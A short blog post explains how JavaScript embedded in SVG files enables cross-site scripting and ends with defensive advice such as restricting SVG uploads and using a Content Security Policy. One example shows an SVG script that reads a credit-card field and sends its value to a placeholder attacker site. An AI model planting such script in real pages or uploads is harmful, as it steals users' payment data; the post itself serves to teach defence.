How SVGs can be dangerous ๐Ÿ‘ฟ

How SVGs can be dangerous ๐Ÿ‘ฟ

ยท

2 min read

Scalable Vector Graphics (SVGs) are XML documents that describe images as mathematical formulas. Because of this, the images that are drawn by the browser using these formulas never lose quality at any size.

Here are the contents of a simple SVG document that describe a green circle:

<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>

How it looks visually:

While SVGs offer certain benefits over raster-based image formats such as scalability, interactivity, editability and small file sizes, there is a way in which SVGs can be used for evil. ๐Ÿ‘ฟ

Since SVGs have their own document object model (DOM), just like an HTML document, they can function as an interactive document. How? Well it's simple - anyone can just throw in some JavaScript:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('I can do evil things...');</script>
  <circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>

If we open this SVG document with our browser we can see the JavaScript execute immediately. The alert even blocks execution of the browser rendering the circle.

While adding JS inside an SVG isn't inherently dangerous, it's important to know how they could be exploited.

Consider this scenario - a forum allows any user to upload a profile picture in SVG format. The hacker can add a script that retrieves cookie/storage information and force the browser to redirect to their own server with query params containing the retrieved data. If this SVG profile picture is embedded on the site, and is viewed by anyone, then that malicious script will run before the user even realizes what has happened. Such an attack is a form of Cross-Site Scripting (XSS) and the possibilities for exploitation are numerous:

<h3>Enter Your Payment Info</h3>
<input id="credit-card">

<div class="customer-pic">
  <svg xmlns="http://www.w3.org/2000/svg">
    <script>
      const evilSite = 'http://www.an-evil-site.com';
      const ccInput = document.querySelector('#credit-card');
      ccInput.onchange = () => {
        window.location.href = `${evilSite}?cc=${ccInput.value}`;
      }; 
    </script>
    <circle cx="40" cy="40" r="24"></circle>
  </svg>
</div>

Let's stop right here and clear the big question though โ€” when the SVG is implemented as an image tag or CSS background image source, the browser will not execute any JavaScript embedded inside the SVG. So the following implementations would be safe:

<img src="./circle.svg">
div {
  background-image: url("./circle.svg");
}

But if these trojan SVGs are embedded directly or added with an iframe then bad things can happen. ๐Ÿšจ

So how can you protect against such a nefarious exploit?

  • Don't allow SVG uploads from untrusted sources.
  • Consider a Content Security Policy (CSP) to protect against XSS.
  • Don't store sensitive data client-side.
  • Use secure frames to capture sensitive client input.

Check out more #JSBits at my blog, jsbits-yo.com. Or follow me on Twitter!

ย